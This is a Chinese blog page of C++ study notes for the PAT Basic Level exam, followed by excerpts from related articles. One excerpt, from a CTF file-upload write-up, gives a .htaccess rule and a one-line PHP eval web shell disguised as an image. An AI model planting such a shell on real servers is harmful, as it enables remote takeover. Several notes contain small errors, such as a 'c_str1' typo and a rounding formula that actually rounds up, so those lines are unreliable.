PAT编程基础笔记

写在前面: 这篇文章是我之前刷PAT(Basic Level)随手记下来的几个记忆点,希望对大家有所帮助。

1.字符串和数值类型之间的转换

如果要将数值类型如int、double、long转换为字符串string,可以使用to_string()函数

#include<string>
string to_string (int val);
string to_string (long val);
string to_string (long long val);
string to_string (unsigned val);
string to_string (unsigned long val);
string to_string (unsigned long long val);
string to_string (float val);
string to_string (double val);
string to_string (long double val);

如果要将string转换成int输出,则使用stoi()函数

#include<string>
int stoi (const string&  str, size_t* idx = 0, int base = 10);
int stoi (const wstring& str, size_t* idx = 0, int base = 10);

如果要将string转换成long int输出,则使用stol()函数,用法类似
如果要将string转换成long long输出,则使用stoll()函数,用法类似
如果要将string转换成float输出,则使用stof()函数,用法类似
如果要将string转换成double输出,则使用stod()函数,用法类似
如果要将string转换成long double输出,则使用stold()函数,用法类似

如果要将char转换成int输出,则使用atoi()函数,用法类似
如果要将string转换成char输出,则使用c_str()函数,如

s1.c_str1()

2.字符串长度:可以用strlen()函数,返回在字符串中’\0’前面出现的字符个数,如:

#include<stdio.h>
#include<string.h>
int main()
{char str1[] = "abcdef";printf("%d\n", strlen(str1));return 0;
}

也可以用length()size()函数

3.vector v或者string v进⾏ sort 排序

sort(v.begin(), v.end(), cmp1);

数组a进⾏sort排序:

sort(a, a + n, cmp1);

其中若要设置从大到小排序,则有:

bool cmp(int a,int b){return a>b;}

4.记录重复的数:如果碰见要记录递推过程中遇到的每一个数,情况类似PAT乙级1005,可以用vector来读取及处理数据,另设一组数组来标记数据

5.判断素数的程序:对于数字a,i从2到根号a,如果a能够被其中一个i整除,说明i不是素数,return false,否则说明a是素数return true

bool isprime(int a) 
{for (int i = 2; i * i <= a; i++)if (a % i == 0) return false;return true;
}

6.倒置数组或者vector中的元素:可以用reverse()函数

#include <algorithm>
reverse(str.begin(),str.end()) //反转字符串
reverse(vector.begin(),vector.end()) //反转向量
reverse(a,a+strlen(a)) //反转数组

7.倒置数组操作:数组长度为n,要想把数组循环右移m位,只需要先将整个数组a倒置,再将数组前m位倒置,最后将数组后n-m位倒置即可完成循环右移m位

8.将一串字符颠倒输出:可以用stack

将输入的每个单词或者字符s都分别v.push(s)压入栈中,再输出栈顶v.top(),然后将栈顶元素弹出v.pop(),直到栈空为止

#include<iostream>
#include<stack>
using namespace std;int main()
{string s;stack<string> v;while(cin>>s) v.push(s);cout<<v.top();v.pop();while(!v.empty()){cout<<" "<<v.top();v.pop();}return 0;
}

9.一元多项式求导

  1. flag用来判断是否已经有过输出~
  2. 当b!=0时,因为给出的是所有非零项系数,所以必定会有输出,先判断flag是否为1,如果为1表示已经有过输出,那么在前面要先输出一个空格
  3. 输出 a * b 和 b – 1,然后将flag标记为1表示已经有过输出
  4. 最后判断当没有输出并且b==0的时候,输出“0 0”

10.三目运算符b?x:y

先计算条件b,然后进行判断。如果b的值为true,计算x的值,运算结果为x的值;否则,计算y的值,运算结果为y的值。一个条件表达式绝不会既计算x,又计算y。
条件运算符是右结合的,也就是说,从右向左分组计算。例如,a ? b : c ? d : e将按a ? b : (c ? d : e)执行。加括号()是为了方便阅读,不加也是一样的。

11.分类存储数据可以用vector,同一类数据存储在同一个vector[i]中,读取时用vector[i][j]

12.按照规定格式输入:如果输入格式中,数据与数据之间有其他字符,可以用scanf语句,

13.输出数字空余数位用0补齐:如printf("%02d",i),意思是用0补齐,一共2位,可以用其他数字代替。

14.按照规定格式输出:如果输出格式中,数据与数据之间有其他字符,可以用printf语句,如:printf("%02d:%02d", m, pos);

15.判断某个字符型是否为数字或字母:

#include<cctype>
isdigit(char c or string c);
isalpha(char c or string c);

16.substr 只有两种⽤法

string s2 = s.substr(4); // 表示从下标4开始⼀直到结束
string s3 = s.substr(5, 3); // 表示从下标5开始,3个字符

17.类似日期的字符串比较:如果要比较如"YYYY/MM/DD"这样形式的日期,可以直接比较字符串

cin>>name>>birth;
if(birth>="1814/09/06"&&birth<="2014/09/06")
{cnt++;if(birth>=maxbirth){maxbirth=birth;maxname=name;}if(birth<=minbirth){minbirth=birth;minname=name;}
}

18.find函数

第一种algorithm头文件的find()。
使用方法:find(begin,end,value),一般用 容器.end()来判断查找成功与否。左闭右开。
begin是容器或者数组的起始地址(容器.begin()或者数组名),也可以是任意地址,不非法即可;
end是结束查找的地址(容器.end()或者数组名+长度),
value是想要查找的字符或者字符串,

查找成功将返回迭代器(容器)或者指针(数组),否则返回end()

#include<iostream>
#include<algorithm>
#include<vector>
using namespace std; 
int main()
{vector<int> v;for(int i=0;i<5;i++){v.push_back(i);}if(find(v.begin(),v.end(),4)!=v.end()){  printf("找到的下标为%d\n",find(v.begin(),v.end(),4)-v.begin()); //获取元素的下标 }else{printf("该元素不存在\n");}return 0;
}

第二种string自带的find(),可查找指定字符串和指定字符。
使用方法:如在string1中查找string2,string1.find(string2);返回值为string2第一次在string1中出现的位置。
若希望在特定位置开始查找,可使用 string1.find(string2,location);
如果找不到,则返回值为string::npos,即对于string,通过a.find(val)==string::npos来做判断是否查找成功

#include<iostream>
#include<string>
using namespace std; 
int main()
{string s1,s2;s1 = "hello world";s2 = "world";if(s1.find(s2)!=string::npos){   //查找字符串 printf("s2在s1中的起始下标为%d\n",s1.find(s2)); }else{printf("s1中不存在s2字符串"); } char c = 'e';if(s1.find(c)!=string::npos){   //查找字符 printf("字符c在s1中的起始下标为%d\n",s1.find(c)); }else{printf("s1中不存在字符c"); } return 0;
}

19.string::npos:string::npos是一个静态成员常量,表示size_t的最大值(Maximum value for size_t)。该值表示“直到字符串结尾”,作为返回值它通常被用作表明没有匹配。

20.大小写字母转换:小写换大写用toupper(),大写换小写用tolower(),头文件为 < cctype >。

21.四舍五入

    int t = N / 2 + N % 2;

22.数组下标:C++的数组下标可以是字符,存储的是ASCII码的值

23.截取字符串:

string s = "0123456789";
string sub1 = s.substr(5); //只有一个数字5表示从下标为5开始一直到结尾:sub1 = "56789"
string sub2 = s.substr(5, 3); //从下标为5开始截取长度为3位:sub2 = "567"

24.把字符串中的字母转化为数字

将字符减去’A’再加1,此时返回的是该字母在1-26里的序号

s[i]=(s[i]-'A'+1);

25.把字符串中的数字转化为数字

将字符减去’0’即可

26.取整

floor向下取整
ceil向上取整
round四舍五入

#include <iostream>
#include <math.h>
using namespace std;int main()
{cout<<floor(4.4)<<endl;//4cout<<floor(4.5)<<endl;//4cout<<ceil(4.4)<<endl;//5cout<<ceil(4.5)<<endl;//5cout<<round(4.4)<<endl;//4cout<<round(4.5)<<endl;//5double a;//当a是正数也可以while(cin>>a)cout<<(int)(a+0.5)<<endl;return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/65994.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GA遗传算法

储备知识 GA算法主要解决数学模型中最优化的搜索算法&#xff0c;是进化算法中的一种&#xff0c;基因算法借鉴了自然界基因的遗传的主要现象&#xff0c;分别为遗传&#xff0c;变异&#xff0c;自然选择&#xff0c;杂交等。 GA算法参数 GA算法的参数如下所示。 种群规模…

剑指 Offer 62. 圆圈中最后剩下的数字(简单)

题目&#xff1a; class Solution { public:int lastRemaining(int n, int m) {int pos 0;for(int i2;i<n;i){pos (posm)%i;}return pos;} };作者&#xff1a;想吃火锅的木易 链接&#xff1a;详细题解 来源&#xff1a;力扣&#xff08;LeetCode&#xff09;

基于python的改进高斯混合模型的图割算法研究设计与实现

摘要 信息技术永远是改变生活的第一种创新方式&#xff0c;各种行业的发展更是脱离不了科技化的支持。原本传统的行业正在被科技行业的切入悄悄的发生变化。就拿我们生活当中常见的事情举例而言&#xff0c;在外卖行业还没有发展的快速的时候&#xff0c;方便面等速食成了快速吃…

ssh常用操作

ssh常用操作 SSH是一种安全协议&#xff0c;ssh是该协议的客户端程序&#xff0c;openssh-server则是该协议的服务端程序 常用系统都自带了ssh客户端程序&#xff0c;服务端程序则可能要安装 密码远程登陆 前提&#xff1a;服务器安装了openssh-server&#xff0c;未安装时…

安装bpftrace和bcc的踩坑记录

最后在Ubuntu22.04使用Ubuntu提供的安装命令完成了安装。这里是记录尝试在Ubuntu18.04和Ubuntu22.04使用源码安装未果的过程。 文章目录 22版本安装bcc准备工具安装命令使用报错&#xff1a;iovisor封装的安装方式ubuntu的安装方式 For Bionic (18.04 LTS)官方提供的源码安装准…

Tutorial: Mathmatical Derivation of Backpropagation

目录 1. 概要 2. Gradient Descent 3. Chain rule 3.1 单变量基本链式法则 3.2 单变量全微分链式法则 3.3 小贴士&#xff1a;微分、导数、导函数是什么关系&#xff1f; 4. What and why backpropagation? 5. Backpropagation for a simple neural network 5.1 基于…

哪些存储设备的数据需要注意,防止误删除或者格式化丢失?

以下是一些存储设备的数据要注意&#xff0c;防止误删除或者格式化丢失&#xff1a; 1.硬盘&#xff1a;存储重要数据时要备份&#xff0c;避免硬盘故障、误格式化等情况导致数据丢失。 2.USB闪存驱动器&#xff1a;在拔出USB闪存驱动器前&#xff0c;应该先进行“安全删除”…

Jmeter(三十一):制造大批量的用户数据数据

需求&#xff1a;因测试需要&#xff0c;要造100w用户数据&#xff0c;通过用户名、手机号、密码可新增用户&#xff0c;其中用户名和电话号码要求100w用户不能重复 要点&#xff1a; 1、通过Bean shell Sampler实现用户名和手机号的足够随机。 符合我们常用规则的手机号&#…

element侧边栏子路由点击不高亮问题

最近自己封装侧边栏 又碰到了点击子路由不高亮的问题 <template><div class"aside"><el-scrollbar :vertical"true" class"scrollbar_left_nav"><el-menu :default-active"defaultActive" :collapse"$stor…

关于内网主备+https

先openssl证书 整体流程为&#xff1a; 1、页面访问为https&#xff0c;在电脑修改hosts文件&#xff0c;如域名为 babaozhou.com, 则配置为 ip1 babaozhou.com&#xff0c;ip2 babaozhou.com&#xff1b; 也就是说同域名关联两个ip&#xff0c;这样如果服务器1ping不通了则可…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

遗传算法决策变量降维的matlab实现

1.案例背景 1.1遗传算法概述 遗传算法是模拟达尔文生物进化论的自然选择和遗传学机理的生物进化过程的计算模型,是一种通过模拟自然进化过程搜索最优解的方法。它最初由美国Michigan大学的J. Holland教授提出,1967年, Holland 教授的学生 Bagley在其博士论文中首次提出了“遗传…

利用frps搭建本地自签名https服务的透传

nginx的搭建就不介绍了&#xff0c;教程很多&#xff0c;基本上油手就会。 在本例中&#xff0c;frp服务器的域名是 www.yourfrp.com&#xff0c;同时也是反向代理nginx服务器; 本地网站要用的域名&#xff1a; test.abcd.com 请事先将 test.abcd.com 解析到 frp所在服务器…

CC1310开发工具下载及环境搭建

目录 CC1310开发工具集 CC1310SDK下载安装注意事项 CCS下载安装注意事项 导入示例代码 CCS常用设置 CC1310是TI的一款sub1G射频模块&#xff0c;具体参数见数据手册吧&#xff08;CC1310数据手册、用户手册下载&#xff1a;https://dev.ti.com/tirex/explore/node?nodeA_…

pdf转换成图片转换器在线怎么转?pdf转换成图片具体方法介绍

很多用户们都是比较喜欢使用pdf文档的&#xff0c;由于这种文件格式的便携性非常高&#xff0c;所以广泛的应用于工作和学习领域&#xff0c;再加上pdf文档可以随意转换成为其他的文件格式&#xff0c;更是让pdf文档受到了更多用户们的欢迎&#xff0c;那么pdf转换成图片转换器…

如何在职业生涯中取得成功

工作中让你有强烈情绪波动的事情 在我的工作经历中&#xff0c;有一次让我经历了强烈情绪波动的事件。我曾在一个高压的项目团队中工作&#xff0c;我们需要在极短的时间内完成一个复杂的客户项目。这个项目的截止日期非常紧迫&#xff0c;而项目的规模和要求也一直在不断增加…

C++设计模式_02_面向对象设计原则

文章目录 1. 面向对象设计&#xff0c;为什么&#xff1f;2. 重新认识面向对象3. 面向对象设计原则3.1 依赖倒置原则(DIP)3.2 开放封闭原则(OCP )3.3 单一职责原则( SRP )3.4 Liskov 替换原则 ( LSP )3.5 接口隔离原则 ( ISP )3.6 优先使用对象组合&#xff0c;而不是类继承3.7…

光伏瓦屋顶

光伏瓦是由非晶硅材料制成的有光伏电池的屋面板&#xff0c;把光伏组件嵌入支撑结构&#xff0c;使太阳能板和建筑材料结为一体&#xff0c;直接应用于屋顶&#xff0c;和普通屋面瓦一样安装在屋面结构上。然后&#xff0c;光伏材料和组件将光转化为电能&#xff0c;通过吸收太…

06 Kafka线上集群部署方案

kafka部署在linux上有什么好处 网络传输效率 kafka部署在linux上&#xff0c;可以用到linux的零拷贝提升网络传输效率&#xff0c;提高kafka的吞吐量。利用零拷贝可以使数据不经过用户态直接通过网卡发送给接收方&#xff0c;实现数据的高性能传输 kafka和零拷贝技术 kafka…

操作系统备考学习 day2 (1.3.2 - 1.6)

操作系统备考学习 day2 计算机系统概述操作系统运行环境中断和异常的概念系统调用 操作系统体系结构操作系统引导虚拟机 计算机系统概述 操作系统运行环境 中断和异常的概念 中断的作用 CPU上会运行两种程序&#xff0c;一种是操作系统内核程序&#xff0c;一种是应用程序。…